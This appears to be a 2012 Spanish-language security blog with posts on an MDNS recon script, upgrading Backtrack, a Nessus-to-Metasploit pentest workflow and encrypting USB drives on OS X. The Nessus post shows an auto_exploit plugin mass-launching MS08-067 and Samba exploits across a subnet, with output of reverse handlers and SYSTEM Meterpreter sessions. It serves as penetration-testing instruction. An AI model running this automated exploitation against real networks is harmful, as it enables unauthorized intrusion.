Wednesday
Jul112012

MDNSRecon

Hace poco me encontraba comversando con mi buen amigo Elliot Cutright tambien conocido como @nullthreat en twitter sobre los recientes cambios que he echo a  DNSRecon y algunas de las mejoras. Me commento que uno de las capacidades originales de enumerar MDNS que tenia a principio era la que mas extranaba. Debido a que me movi a apoyar Python 3.x en adicion a  Python 2.x y el abandono de la libreria que usaba para ello por el autor. MDNS es una tremenda manera de poder conseguir informacion sobre aquellas maquinas en tu mismo subnet que tengan el servicio de ZeroConf, Bonjour or MDNS anunciando capacidades, los  records de MDSN son similares a los de DNS SRV donde conseguimos que se nos devuelva el servicio, blanco, puerto y hasta un record tipo texto con informacion adicional. En adicion a la informacion que se obtiene se puede resolver el IP del blanco tanto para IPv4 y para IPv6.

Basado en su peticion escribi un script en Ruby que se aprovechara de la herramienta avahi-browser y me puse como metas:

  • Detectar la mayoria de records conocidos en la red donde se encuentre connectado el atacante.
  • Resolver los hosts que se encuentren y excluir aquellos records que la maquina del atacante misma este communicando.
  • Asegurarse que la data sea de vuelta en una manera donde pueda ser procesada y manipulada de manera facil por el atacante.

El script que resulto lo llame MDNSRecony lo pueden bajar de mi GitHub en https://github.com/darkoperator/MDNSRecon. 

Este es el mensage de ayuda del mismo:

root@bt:~# ./mdnsrecon.rb -h
MDNSRecon Script by Carlos Perez (carlos_perez[at]darkoperator.com)
Version 0.1
Usage: mdnsrecon.rb [OPTION]
--help, -h:
show help
--csv <file>, -c <file>:
CSV File to save records found.
--grep, -g:
Output grepable Output with a delimiter of \
<service>\domain\host\IP\port\txt
If no option is given it will print records found to standard output.

Si corremos el mismo sin ninguna opcion este imprimira aquellos records que encuentre en pantalla:

root@bt:~# ./mdnsrecon.rb 
[-] Records found:
[*] Host: bt.local
[*] IP: 192.168.192.128
[*] Port: 9
[*] Service:Workstation
[*] Text:''
[*]
[*] Host: ubuntu.local
[*] IP: 192.168.192.129
[*] Port: 9
[*] Service:Workstation
[*] Text:''
[*]
[*] Host: ubuntu.local
[*] IP: 192.168.192.129
[*] Port: 22
[*] Service:_udisks-ssh._tcp
[*] Text:''
[*]

Si queremos el formato en una manera donde podemos usar grep y cut para manipular facil mente el resultado usamos la opcion -g, en el ejemplo buscamos las maquinas con servicio SSH:

root@bt:~# ./mdnsrecon.rb -g | grep ssh |cut -d '\' -f4,5 --output-delimiter=" " -n
192.168.192.129 22

En caso que queramos usar otra herramienta como Excel o PowerShell para manipular gandes numeros de resultados o queremos compartir los mismos en una manera facil de entender podemos crear un archivo CSV con los resultado con -c o --csv:

root@bt:~# ./mdnsrecon.rb -c lab.csv
[-] Saving found records to lab.csv
[*] 3 Records saved
root@bt:~# cat lab.csv 
service,domain,host,ip,port,txt
Workstation,local,bt.local,192.168.192.128,9,''
_udisks-ssh._tcp,local,ubuntu.local,192.168.192.129,22,''
Workstation,local,ubuntu.local,192.168.192.129,9,''

Hasta el momento solo estoy apoyando Debian, Ubuntu y Backtrack 5 como las plataformas donde se puede usar el script, Bactrack siendo la recomendada. Anadire otras distribuciones de Linux si la demanda lo amerita. Espero que encuentren el mismo util y como todo projecto que hago el insumo de ideas, mejoras o problemas siempre es bienvenido.

Thursday
Mar012012

Bactrack 5 R2

Hoy es la salida de la nueva versión de la distribución de Linux Backtrack la cual esta hecha específicamente para profesionales y entusiastas en el área de seguridad. La misma esta llena de nuevas herramientas, arreglos y un nuevo kernel de Linux hecho a la medida para poder ejecutar diferentes pruebas y ataques.

Durante años he usado la distribución para investigaciones, pruebas de penetración, auditorias de seguridad, plataforma de desarrollo y e tenido el honor de tener varias herramientas que he escrito a través de los años incluidas con la distribución. El trabajo que hace el equipo que mantiene esta distribución es uno monumental ya que en su mayoría es voluntario el mismo, el equipo esta compuesto por profesionales y aficionados de la seguridad en informática alrededor del mundo. Esta distribución se ha convertido en el estándar para otras distribuciones. Aunque mucho mi trabajo lo hago desde una Mac siempre tiendo a usar a Backtrack como una de las herramientas principales en gran parte por toda la costumizacion que se ha hecho en la misma para correr las ultimas herramientas de seguridad las cuales pueden ser bien difíciles de instalar y mantener. En adición el apoyo a tarjetas inalámbricas y cuyos componentes han sido optimizados en el Kernel costumizado de la distribución.

Se podrá bajar la misma usando Torrent inicialmente y luego se podrá bajar de manera directa de la pagina de ellos en http://www.backtrack-linux.org/downloads/ tanto como un ISO y como una maquina virtual de VMware pre-instalada.

Si se tiene una maquina virtual o física con Backtrack 5 R1 se le puede hacer upgrade a la misma desde la linea de comando. Para esto comenzamos con accesar la misma como root. Una vez dentro de la misma tenemos que estar seguros que tenemos conexión al internet si no la tenemos.

  1. Subimos el subsistema de red si no tenemos conexión ejecutando el comando de start:
start networking

Luego nos aseguramos que tengamos un IP del servidor DHCP en la red donde nos encontremos:

dhclient

Probamos la conexión usando del comando de ping:

ping 8.8.8.8
  1. Nos aseguramos de estar corriendo las ultimas versiones de los programas y hacemos una actualización de distribución usando apt-get:
apt-get update 
apt-get dist-upgrade -y
fix-splash
  1. Una vez la maquina termine de subir entre de nuevo en la misma y asegurase que esta corriendo con el Kernel 3.2.6:
uname -a
  1. Instalemos todas las nuevas herramientas que ahora están disponibles en R2:
apt-get install pipal findmyhash metasploit joomscan hashcat-gui golismero easy-creds pyrit sqlsus vega libhijack tlssled hash-identifier wol-e dirb reaver wce sslyze magictree nipper-ng rec-studio hotpatch xspy arduino rebind horst watobo patator thc-ssl-dos redfang findmyhash killerbee goofile bt-audit bluelog extundelete se-toolkit casefile sucrack dpscan dnschef beef -y
  1. Anadan el repositorio para la nueva version de manera de usar los updates de R2 y nos los de R1 y corramos de nuevo upgrade:
echo "deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" >> /etc/apt/sources.list 
apt-get update 
apt-get dist-upgrade -y

Cuando llegue a este punto solo presione Enter:

Configuration file `/etc/issue'
 ==> Modified (by you or by a script) since installation.
 ==> Package distributor has shipped an updated version.
   What would you like to do about it ?  Your options are:
    Y or I  : install the package maintainer's version
    N or O  : keep your currently-installed version
      D     : show the differences between the versions
      Z     : background this process to examine the situation
 The default action is to keep your current version.
*** issue (Y/I/N/O/D/Z) [default=N] ? 

Siempre escoja los defaults, cuando se le pregunte si quiere continuar sin instalar GRUB seleccione que si. 6. Varios servicios son habilitados al ser llevados a la ultima versión, recomiendo que des habiliten los mismos de manera de presentar un blanco de menor superficie de ataque y ahorrar recursos:

/etc/init.d/apache2 stop
/etc/init.d/cups stop
/etc/init.d/winbind stop
update-rc.d -f cups remove 
update-rc.d -f apache2 remove 
update-rc.d -f winbind remove

Con la salida de BT5 R2 tambien hay nuevos artículos en el Wiki de ellos http://www.backtrack-linux.org/wiki/index.php/Main_Page

Thursday
Feb162012

Nessus 5 Haciendo My Workflow de Pentesting mas Fácil

Recientemente Nessus 5 fue lanzado con muchas mejoras en filtrado tanto en creación de políticas como en el análisis de reportes, también incluye mejoras en el motor de pruebas haciéndolo mas rápido y liviano en términos de recursos. De todas estas nuevas capacidades mi favorita lo es la capacidad de filtrado en creación de plugins y análisis. Por mucho tiempo mantuve una copia de un listado de varios números de ID de plugins que detectaban los exploits mas comunes en Metasploit para uso con nessuscmd en mis proyectos. Ahora con la nueva capacidad de filtrado puedo escoger aquellos plugin que cubran agujeros de seguridad que contengan exploits en los Frameworks com Core Impact y CANVAS, tanto agujeros remotos como locales. En este articulo cubriré como crear una política que cubra todos los plugin que abarquen a Metasploit. Comenzamos con entrar a la aplicación y  pulsar sobre Policies: Screen Shot 2012-02-16 at 11.34.26 AM

Una vez en en listado de políticas pulsamos sobre Add donde somos llevados a la próxima pantalla donde podemos entrar un nombre para la política al igual que una descripción para la misma, el resto de los parámetros los podemos dejar como están:

Screen Shot 2012-02-16 at 11.35.51 AM

Podemos pasar a la sección de credenciales pulsando en Next en esta parte podemos entrar cualquier credencial que podamos tener de antemano y en el caso de Windows podemos usar también hashes de NTLM, esto nos ayudara a encontrar posibles agujeros que permitan ataques contra usuarios si las configuraciones de otras maquinas son similares.

Screen Shot 2012-02-16 at 11.36.15 AM

Ahora nos movemos a la próxima sección pulsando sobre Next:

Screen Shot 2012-02-16 at 11.36.29 AM

Comenzamos por pulsar sobre  Disable All y luego pulsamos sobre Add Filter para crear un filtro nuevo, el mismo seria donde escogemos como campo Metasploit Exploit Framework,escogemos la acción de is equal to y como calor true, pulsamos sobre Save para aplicar el filtro:

Screen Shot 2012-02-16 at 11.36.54 AM

Para escoger los plugins dentro de los filtros pulsamos sobre el nombre de la familia y no sobre el circulo al lado del mismo, en la sección de plugins pulsamos sobre Enable Plugins para habilitar los que cumplen con el filtro: Screen Shot 2012-02-16 at 11.37.14 AM

Ahora pulsamos sobre Next y después sobre Save para guardar la politica.

Una vez guardado puede ser usado desde el plugin de nessus que viene con Metasploit. Podemos usar la consola tanto en Armitage, MSFConsole o en  Metasploit Community/Pro/Express para cargar el mismo:

msf > load nessus 
[*] Nessus Bridge for Metasploit 1.1
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus

Una vez cargado podemos usar el comando de nessus_connect para conectarnos y podemos listar las políticas con  nessus_policy_list:

msf > nessus_connect carlos:contasena@localhost ok
[*] Connecting to https://localhost:8834/ as carlos
[*] Authenticated
msf > nessus_policy_list 
[+] Nessus Policy List
[+] 
ID  Name                        Comments
--  ----                        --------
-1  External Network Scan       
-2  Internal Network Scan       
-3  Prepare for PCI DSS audits  
-4  Web App Tests               
6   Metasploit Exploits         

Ahora podemos usar la política para lanzar un nuevo scan usando el comando de nessus_scan_new pasándole el ID de la política, un nombre y el rango de IPs a ser examinados:

msf > nessus_scan_new 6 "contoso pentest" 192.168.1.1-241
[*] Creating scan from policy number 6, called "contoso pentest" and scanning 192.168.1.1-241
[*] Scan started.  uid is 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554

Podemos monitorear el status del scan usando el comando de nessus_scan_status:

msf > nessus_scan_status 
[+] Running Scans
[+] 
Scan ID                                               Name             Owner   Started            Status   Current Hosts  Total Hosts
-------                                               ----             -----   -------            ------   -------------  -----------
396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  carlos  11:53 Feb 16 2012  running  217            241
[+] 
[*] You can:
[+]         Import Nessus report to database :     nessus_report_get <reportid>
[+]         Pause a nessus scan :             nessus_scan_pause <scanid>
msf >

Una vez terminado el scan podemos usar el comando de nessus_report_list para ver el ID reporte de los resultados:

msf > nessus_report_list 
[+] Nessus Report List
[+] 
ID                                                    Name             Status     Date
--                                                    ----             ------     ----
396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  completed  11:58 Feb 16 2012
[*] You can:
[*]         Get a list of hosts from the report:          nessus_report_hosts <report id>

Ahora que tenemos el ID del reporte podemos bajar el mismo a un nuevo workspace de manera de evitar conflicto con otra data de otros blancos o de otros clientes, para importar el reporte se usa el comando de  nessus_report_get:

msf > workspace -a contoso
[*] Added workspace: contoso
msf > nessus_report_get 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
[*] importing 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
[*] 192.168.1.99
[*] 192.168.1.241
[*] 192.168.1.237
[*] 192.168.1.235
[*] 192.168.1.234
[*] 192.168.1.230
[*] 192.168.1.223
[*] 192.168.1.2
[*] 192.168.1.192
[*] 192.168.1.156
[*] 192.168.1.155
[*] 192.168.1.154
[*] 192.168.1.153
[*] 192.168.1.146
[*] 192.168.1.143
[*] 192.168.1.134
[*] 192.168.1.113
[*] 192.168.1.109
[*] 192.168.1.102
[*] 192.168.1.100
[*] 192.168.1.1
[+] Done

Una vez importado podemos ver las vulnerabilidades que son cubiertas por metasploit usando el comando de vulns:

msf > vulns
[*] Time: 2012-02-16 16:01:44 UTC Vuln: host=192.168.1.1 port=443 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=111 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=53 proto=tcp name=Nessus SNMP Scanner refs=NSS-14274
[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.100 port=59159 proto=tcp name=netstat portscanner (SSH) refs=NSS-14272
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.102 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.109 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
.......

Una vez confirmado que encontramos vulnerabilidades para explotar se puede usar mi plugin auto_exploit, el mismo se encuentra en  https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb en una maquina con OSX/Linux solo se tiene colocar el mismo en ~/.msf4/plugins para usar el mismo. Comenzamos por cargar el mismos y ver las opciones de vuln_exploit:

msf > load auto_exploit 
[*] auto_exploit plug-in loaded.
[*] Successfully loaded plugin: auto_exploit
msf > vuln_exploit -h
OPTIONS:
    -f <opt>  Provide a comma separated list of IP's and Ranges to skip when running exploits.
    -h        Command Help
    -j <opt>  Max number of concurrent jobs, 3 is the default.
    -m        Only show matched exploits.
    -r <opt>  Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default.
    -s        Do not limit number of sessions to one per target.

Para lanzar los exploits contra las vulnerabilidades que encontramos usamos el comando vuln_exploit , este comando analizará los exploits y vulnerabilidades encontrando aquellas que sean para la plataforma, nivel de viabilidad, limitara el ataque a 3 a la vez de manera de no martillar a los sistemas y limitara a 1 sesión por maquina:

msf > vuln_exploit
[*] Generating List for Matching...
[*] Matching Exploits (This will take a while depending on number of hosts)...
[+] Matched Exploits:
[+]     192.168.1.153 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.113 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.99 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.192 exploit/windows/smb/ms08_067_netapi 445 500
[+]     192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom 135 500
[+]     192.168.1.154 exploit/linux/samba/lsa_transnames_heap 445 400
[+]     192.168.1.113 exploit/windows/smb/ms06_040_netapi 445 400
[+]     192.168.1.153 exploit/windows/smb/ms04_011_lsass 445 400
[+]     192.168.1.153 exploit/windows/smb/ms06_040_netapi 445 400
[+]     192.168.1.153 exploit/windows/smb/ms05_039_pnp 445 400
[+]     192.168.1.153 exploit/windows/smb/ms04_007_killbill 445 100
[*] Running Exploits:
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.153
[*] Started reverse handler on 192.168.1.241:29271 
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.113
[*] Automatically detecting the target...
[*] Started reverse handler on 192.168.1.241:4643 
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.99
[*] Started reverse handler on 192.168.1.241:14900 
[*] Automatically detecting the target...
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
[*] Selected Target: Windows 2000 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.99
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.153
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.113
[*] waiting for finishing some modules... active jobs: 3 / threads: 16
[*] Meterpreter session 1 opened (192.168.1.241:14900 -> 192.168.1.99:1513) at 2012-02-16 12:54:23 -0400
[*] Meterpreter session 2 opened (192.168.1.241:29271 -> 192.168.1.153:2709) at 2012-02-16 12:54:23 -0400
[*] Meterpreter session 3 opened (192.168.1.241:4643 -> 192.168.1.113:4035) at 2012-02-16 12:54:23 -0400
[*] waiting for finishing some modules... active jobs: 0 / threads: 19
[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.192
[+]     Skipping 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom because a session already exists.
[*] Started reverse handler on 192.168.1.241:15430 
[*] Running exploit/linux/samba/lsa_transnames_heap against 192.168.1.154
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[+]     Skipping 192.168.1.113 exploit/windows/smb/ms06_040_netapi because a session already exists.
[*] Started reverse handler on 192.168.1.241:48452 
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_011_lsass because a session already exists.
[*] Creating nop sled....
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms06_040_netapi because a session already exists.
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms05_039_pnp because a session already exists.
[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_007_killbill because a session already exists.
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
[*] Attempting to trigger the vulnerability...
msf > [*] Sending stage (752128 bytes) to 192.168.1.192
[*] Meterpreter session 4 opened (192.168.1.241:15430 -> 192.168.1.192:1597) at 2012-02-16 12:54:29 -0400

Para ver las sesiones que se obtuvieron se usa el comando de  sessions :

msf > sessions 
Active sessions
===============
  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ CARLOS-CD652C1C  192.168.1.241:14900 -> 192.168.1.99:1513
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN2KADV01       192.168.1.241:29271 -> 192.168.1.153:2709
  3   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TEST-01BCDAF47C  192.168.1.241:4643 -> 192.168.1.113:4035
  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DBSQL2K01        192.168.1.241:15430 -> 192.168.1.192:1597

Como se puede ver el uso de los filtros en la creación de políticas y el uso de mi plugin the auto_exploit hace que una descubrimiento y ataque sea lo mas táctico posible reduciendo el numero y riesgo al momento de hacer una penetración remota de un ambiente.

Espero que haya encontrado el articulo útil e informativo.

Wednesday
Feb152012

Pauldotcom Español Episodios 8 y 9

Continuamos con el podcast en español, la semana pasada lanzamos una entrevista con Chema Alonso de España, esta semana entrevista con la Licensiada Julizzette Colon Bilbraut hablando de SOPA, ACTA, Anonymous y mucho mas. Espero poder cacar uno por semana este año

http://traffic.libsyn.com/pdces/PaulDotCom-Espanol-8.mp3

http://traffic.libsyn.com/pdces/PaulDotCom-Espanol-9.mp3

Para las notas del show pueden visitar http://pauldotcom.com/wiki/index.php/PaulDotCom_Espanol

 

Tuesday
Feb142012

Encryptando Dispositivos USB en OS X Lion

Una de las primeras cosas que hago con mis discos externos incluyendo USB Sticks es encriptar los mismos por el hecho que los mismos son fáciles de perder y pueden ser hurtados también fácilmente. Otro de de los problemas es que cada día el moverse a travez de fronteras se ha hecho mas prohibitivo ya que los agentes de las diferentes aduanas pueden confiscar y tristemente dependiendo el país pueden hasta hurtar los mismos por lo cual tiendo a proteger no solo mi data so no la de mis clientes.

En OS X Lion 10.7 se puede usar los que se conoce como FileVault2 para poder encriptar a nivel del file system el dispositivo y por ello la data que se encuentra en el mismo. Hacerlo a nivel de GUI es bien sencillo ya que uso solo tiene que ir a Launchpad -> Utilities -> Disk Utility una vez dentro del mismo uso solo tiene que seleccionar el dispositivo se selecciona Erase y en Format se escoge Mac OS Extended (Case-Sensitive, Journaled, Encrypted)

du1

Luego uno solo entra la contra seña que se quiere usar y se deja que borre y encripte el dispositivo

 

du2

 

Pero como podemos ver esto borra la data que se encuentra en el disco. Hay una manera de no perder la data que se puede encontrar en el dispositivo pero Apple no nos da acceso a la misma desde la interfaz gráfica por lo cual tenemos que usar la terminal para poder hacerlo. Para subir la terminal Launchpad -> Utilities -> Terminal
En la misma usamos el comando de diskutil para ver los discos:

loki:~ carlos$ diskutil list
/dev/disk0
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUIDpartitionscheme                        *500.1 GB   disk0
   1:                        EFI                         209.7 MB   disk0s1
   2:          AppleCoreStorage                         499.2 GB   disk0s2
   3:                 AppleBoot Recovery HD             650.0 MB   disk0s3
/dev/disk1
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:                  AppleHFS HDD                    *498.9 GB   disk1
/dev/disk2
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUIDpartitionscheme                        *500.1 GB   disk2
   1:                        EFI                         209.7 MB   disk2s1
   2:                  AppleHFS TimeMachine             499.8 GB   disk2s2
/dev/disk3
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUIDpartitionscheme                        *4.1 GB     disk3
   1:                        EFI                         209.7 MB   disk3s1
   2:                  AppleHFS USBDATA                 3.8 GB     disk3s2

Podemos ver que nuestro disco esta como /dev/disk3 y la partición con la data es la numero 2 dentro del mismo. Apple solo permite el encriptar Core Storage el cual anade al file system del dispositivo unos encabezados adicionales. Para ver los dispositivos de core storage en la maquina hacemos le damos el parametro de cs a diskutil para verlos:

CoreStorage logical volume groups (1 found)
|
+-- Logical Volume Group BC8C478F-D913-49B6-BDF5-799029BCD421
    =========================================================
    Name:         HDD
    Sequence:     1
    Free Space:   0 B (0 B)
    |
    +-< Physical Volume 8529C661-2A18-406A-B18E-B8AE9F96BEA3
    |   ----------------------------------------------------
    |   Index:    0
    |   Disk:     disk0s2
    |   Status:   Online
    |   Size:     499248103424 B (499.2 GB)
    |
    +-> Logical Volume Family DFBEF69D-161D-43A4-92B0-8C11F36D2729
        ----------------------------------------------------------
        Sequence:               55
        Encryption Status:      Unlocked
        Encryption Type:        AES-XTS
        Encryption Context:     Present
        Conversion Status:      Complete
        Has Encrypted Extents:  Yes
        Conversion Direction:   -none-
        |
        +-> Logical Volume 54364969-893B-47BE-9765-026657179FC5
            ---------------------------------------------------
            Disk:               disk1
            Status:             Online
            Sequence:           4
            Size (Total):       498929332224 B (498.9 GB)
            Size (Converted):   -none-
            Revertible:         Yes (unlock and decryption required)
            LV Name:            HDD
            Volume Name:        HDD
            Content Hint:       AppleHFS

Como se puede ver solo el disco local de la maquina es un Core Storage device por lo cual tendremos que convertir el dispositivo USB en un Core Storage Device y ponerle una contraseña para indicar que el mismo debe ser encriptado, para esto usamos la herramienta de diskutil de nuevo:

loki:~ carlos$ diskutil cs convert disk3s2 -passphrase mysecret
Started CoreStorage operation on disk3s2 USBDATA
Resizing disk to fit Core Storage headers
[ - 0%..10%.............................................. ] 

La herramienta preservara la data y encriptara el dispositivo. La encripcion tomara un poco de tiempo podemos monitorear la misma con diskutil:

loki:~ carlos$ diskutil cs list
CoreStorage logical volume groups (2 found)
|
+-- Logical Volume Group BC8C478F-D913-49B6-BDF5-799029BCD421
|   =========================================================
|   Name:         HDD
|   Sequence:     1
|   Free Space:   0 B (0 B)
|   |
|   +-< Physical Volume 8529C661-2A18-406A-B18E-B8AE9F96BEA3
|   |   ----------------------------------------------------
|   |   Index:    0
|   |   Disk:     disk0s2
|   |   Status:   Online
|   |   Size:     499248103424 B (499.2 GB)
|   |
|   +-> Logical Volume Family DFBEF69D-161D-43A4-92B0-8C11F36D2729
|       ----------------------------------------------------------
|       Sequence:               55
|       Encryption Status:      Unlocked
|       Encryption Type:        AES-XTS
|       Encryption Context:     Present
|       Conversion Status:      Complete
|       Has Encrypted Extents:  Yes
|       Conversion Direction:   -none-
|       |
|       +-> Logical Volume 54364969-893B-47BE-9765-026657179FC5
|           ---------------------------------------------------
|           Disk:               disk1
|           Status:             Online
|           Sequence:           4
|           Size (Total):       498929332224 B (498.9 GB)
|           Size (Converted):   -none-
|           Revertible:         Yes (unlock and decryption required)
|           LV Name:            HDD
|           Volume Name:        HDD
|           Content Hint:       AppleHFS
|
+-- Logical Volume Group 325EC39E-26F7-4215-BDEF-E53AFADA9958
    =========================================================
    Name:         USBDATA
    Sequence:     1
    Free Space:   0 B (0 B)
    |
    +-< Physical Volume A7E49379-34D4-4079-B664-45B0F0F7A0CD
    |   ----------------------------------------------------
    |   Index:    0
    |   Disk:     disk3s2
    |   Status:   Online
    |   Size:     3766255616 B (3.8 GB)
    |
    +-> Logical Volume Family 28FA2B59-A0CF-43DD-AFE4-297C2CE9EF57
        ----------------------------------------------------------
        Sequence:               6
        Encryption Status:      Unlocked
        Encryption Type:        AES-XTS
        Encryption Context:     Present
        Conversion Status:      Converting
        Has Encrypted Extents:  Yes
        Conversion Direction:   forward
        |
        +-> Logical Volume AB41F110-D378-4593-A3E5-4DF7545578B6
            ---------------------------------------------------
            Disk:               disk4
            Status:             Online
            Sequence:           4
            Size (Total):       3447484416 B (3.4 GB)
            Size (Converted):   142606336 B (142.6 MB)
            Revertible:         Yes (unlock and decryption required)
            LV Name:            USBDATA
            Volume Name:        USBDATA
            Content Hint:       AppleHFSX

Como se puede ver en Conversion Status dice Converting, cuando el mismo diga Complete el proceso habrá terminado. Ahora cuando se re-inserte el USB el sistema operativo pedira la contra sena para poder montar el mismo

sa